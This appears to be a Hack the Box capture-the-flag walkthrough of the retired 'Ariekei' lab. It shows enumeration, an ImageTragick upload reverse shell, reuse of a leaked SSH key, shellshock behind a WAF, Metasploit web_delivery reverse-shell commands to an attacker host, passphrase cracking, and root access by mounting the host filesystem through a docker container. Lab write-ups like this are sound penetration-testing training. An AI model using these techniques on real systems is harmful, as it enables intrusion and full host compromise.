Hack the Box Challenge: Ariekei Walkthrough

Hello friends! Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.

nmap -sV -p- 10.10.10.65 –open

From given below image, you can observe we found port 22, 443 and 1022 are open on target system.

As port 443 is running http server we open the target machine’s ip address in our browser, we check the ssl certificate and find 2 domain names: calvin.ariekei.htb and beehive.ariekei.htb.

Now when we open the website we get a webpage that has a message on it saying it was maintenance.

Now we add the two domain names we found in the SSL certificate in /etc/hosts file for further enumeration.

When we open “calvin.ariekei.htb” we get an error message saying the requested url is not found.

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.

dirb https://10.10.10.65/ -w

The dirb scan shows that we access /cgi-bin/stats directory on the target server, so we open the link provided by the dirb scan. We find that it is running some shell script which might be vulnerable to shellshock vulnerability.

When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is web application firewall that protects the server from this attack.

Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.

dirb https://calvin.ariekei.htb/

Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.

This page looks like it converts one type of image into another. This application maybe vulnerable to ImageTragick vulnerability. So we create a mvg file to get reverse shell.

Now we upload the file on the server using the upload page we found.

We setup our listener using netcat, as soon as we upload the file we get our reverse shell.

We take a look at /proc/1/cgroup and find that we are inside a docker container.

Now we take a look at the mounted files, and find a directory called /common.

We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “bastion_key.pub”.

We open the “bastion_key” and we find a RSA key.

We copy the file into our system and save it as id_rsa, so that we can use it to login using ssh.

We change the permissions of the key, and login through ssh as root user using the RSA key.

chmod 600 id_rsa

ssh root@10.10.10.65 -p 1022 -i id_rsa

We again check if we are in docker container or not. We check the /proc/1/cgroup file and find that we are still in docker container.

We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the file contained a few bash commands and also root user password.

Enumerating the rest of the directories inside /common/containers/waf-live/ we find the configuration files for the nginx server.

We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.

Now during our dirb scan we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the shellshock vulnerability from inside the server.

We know the target ip to be 172.24.0.2 form the configuration file. We now need to find the IP address to docker system we are in.

We use the shellshock exploit from here, and we got a reverse shell of the machine.

The shell we got was not stable, so we use web_delivery module of the metasploit-framework to get a stable reverse shell.

msf > use multi/script/web_delivery

msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp

msf exploit(multi/script/web_delivery) > set lhost 10.10.14.8

msf exploit(multi/script/web_delivery) > set lport 4444

msf exploit(multi/script/web_delivery) > run

We copy the command that was given in by the web_delivery script and pasted it in our unstable shell and we got our stable reverse shell.

Now we spawn a TTY shell and use the password we found earlier in the Dockerfile to login as root.

Unfortunately, we are still inside a container app but in this container, inside /home/spanishdancer we find a file called “user.txt”. We take a look at the content of the file and find our first flag.

We search for hidden directories and find a directory called “.ssh” we go inside the directory and find three files authorized_keys, id_rsa and id_rsa.pub.

We take a look at the content of id_rsa and find a RSA key.

We copy the RSA key into our system and save it as key.txt so that we can use this to login through ssh.

When we try to login through ssh using this key, we are asked for a passphrase. So we use john the ripper to crack the passphrase. We use the default wordlist of johntheripper and find the passphrase to be “purple1”.

ssh2jon key.txt > hash_key.txt

john hash_key.txt

After we get the passphrase we change the permission of RSA key file and login as user spanishdancer as it was inside the spanishdancer’s home directory.

chmod 600 key.txt

ssh -i key.txt spanishdancer@10.10.10.65

Now when we run the id command we find that we are a member of docker group. Some containers have a dedicated group to allow unprivileged users to manage their containers without having to escalate their privileges.

To exploit this vulnerability, we first need to check the docker images that are available.

docker images

We find that bash image is available to us, so we use this to create a new image and mount the root/ directory of the host inside a folder called /hack. After we run the docker image we go to /hack/root and find a file called “root.txt”. When we open the file we find our final flag.

docker run -v /:/hack -i -t bash